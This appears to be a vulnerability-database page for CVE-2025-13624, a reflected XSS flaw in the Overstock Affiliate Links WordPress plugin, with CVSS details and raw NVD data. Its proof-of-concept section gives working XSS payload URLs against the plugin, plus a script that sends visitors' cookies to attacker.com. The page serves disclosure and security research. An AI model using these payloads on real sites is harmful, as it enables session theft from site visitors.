Security Vulnerability Report
中文
CVE-2025-13624 CVSS 6.1 MEDIUM

CVE-2025-13624

Published: 2025-12-20 04:16:08
Last Modified: 2026-04-15 00:35:42

Description

The Overstock Affiliate Links plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Overstock Affiliate Links plugin for WordPress ≤ 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13624 PoC: Reflected XSS via $_SERVER['PHP_SELF'] --> <!-- Vulnerable URL Pattern --> <!-- http://target.com/wp-content/plugins/overstock-affiliate-links/sandbox_page.php/" onfocus="alert(document.domain)" autofocus=" --> <!-- Simple PoC URL --> <!-- http://target.com/wp-content/plugins/overstock-affiliate-links/sandbox_page.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E --> <!-- HTML PoC --> <a href="http://target.com/wp-content/plugins/overstock-affiliate-links/sandbox_page.php/"><script>alert('XSS')</script>">Click Here</a> <!-- JavaScript PoC for Cookie Stealing --> <script> fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)); </script> <!-- iframe based PoC --> <iframe src="http://target.com/wp-content/plugins/overstock-affiliate-links/sandbox_page.php/"><svg/onload=alert(document.domain)>"></iframe>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13624", "sourceIdentifier": "[email protected]", "published": "2025-12-20T04:16:07.527", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Overstock Affiliate Links plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` parameter in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/overstock-affiliate-links/tags/1.1/sandbox_page.php#L18", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/overstock-affiliate-links/trunk/sandbox_page.php#L18", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/overstock-affiliate-links/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c06207da-d15d-4540-84be-218fa9055fd5?source=cve", "source": "[email protected]"}]}}